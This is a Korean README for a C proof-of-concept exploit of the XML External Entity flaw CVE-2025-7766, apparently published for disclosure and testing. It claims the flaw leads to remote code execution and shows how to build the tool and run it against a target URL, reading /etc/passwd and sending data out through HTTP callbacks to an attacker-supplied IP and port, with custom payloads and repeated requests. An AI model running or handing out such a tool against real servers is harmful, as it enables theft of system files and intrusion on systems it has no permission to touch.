
C 기반 CVE-2025-7766 PoC 익스플로잇으로, 파일 읽기 및 대역외 HTTP 콜백을 통한 XXE-to-RCE를 시연합니다. 사용자 정의 XML 페이로드와 반복 요청을 지원합니다.
CVE-2025-7766의 XML External Entity 취약점을 이용한 PoC입니다. 파일 읽기(/etc/passwd) 및 대역외 HTTP 콜백을 시연합니다.
작성자: Byte Reaper
CVE: CVE-2025-7766
취약점: XML External Entity (XXE)를 통한 원격 코드 실행
/etc/passwd 읽기.gcc -o exploit exploit.c argparse.c -lcurl
# Read file payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT
# Out-of-band request payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r
# Custom payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -b '<YOUR_CUSTOM_XML>'
# Repeat requests 5 times
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r -l 5
# Verbose output
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -v
MIT